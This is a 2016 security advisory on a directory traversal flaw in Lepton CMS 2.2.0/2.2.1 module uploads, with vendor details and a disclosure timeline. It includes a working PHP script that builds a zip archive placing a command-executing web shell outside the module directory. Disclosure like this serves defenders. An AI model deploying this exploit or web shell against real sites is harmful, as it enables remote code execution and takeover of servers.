Lepton CMS 2.2.0 / 2.2.1 Directory Traversal
Posted on 16 August 2016
[+] Credits: John Page (HYP3RLINX) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/LEPTON-ARCHIVE-DIRECTORY-TRAVERSAL.txt [+] ISR: ApparitionSec Vendor: ================== www.lepton-cms.org Product: ================================= Lepton CMS 2.2.0 / 2.2.1 (update) LEPTON is an easy-to-use but full customizable Content Management System (CMS). Vulnerability Type: ============================ Archive Directory Traversal CVE Reference: ============== N/A Vulnerability Details: ===================== Lepton has feature that lets users install new modules, if malicious user uploads an archive and the module is not valid it will generate an error. However, the malicious archive will still get decompressed and no check is made for ../ characters in the file name allowing in arbitrary PHP files to be placed outside the intended target directory for installed modules. This can then be used to execute remote commands on the affected host system. e.g. We get error message as below. under "Add Ons" tab Install Module. Invalid LEPTON installation file. Please check the *.zip format.[1] Archive still gets decompressed and the malicious file is moved outside of the intended target directory, by using ../ in file name. Exploit code(s): =============== <?php #Archive Directory Traversal to RCE exploit #============================================== if($argc<2){echo "Usage: <filename>";exit();} $file_name=$argv[1]; $zip = new ZipArchive(); $res = $zip->open("$file_name.zip", ZipArchive::CREATE); $zip->addFromString("................RCE.php", '<?php exec($_GET["cmd"]); ?>'); $zip->close(); echo "Malicious archive created... "; echo "========= hyp3rlinx ============"; ?> Disclosure Timeline: =========================================================== Attempted Vendor Notification: June 11, 2016 (No replies) Vendor Notification on July 12, 2016 ( thanks Henri Salo ) Vendor Acknowledgement: July 13, 2016 Vendor fixes: July 14, 2016 Vendor release version 2.2.2 : August 12, 2016 August 15, 2016 : Public Disclosure Exploitation Technique: ======================= Local Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. HYP3RLINX
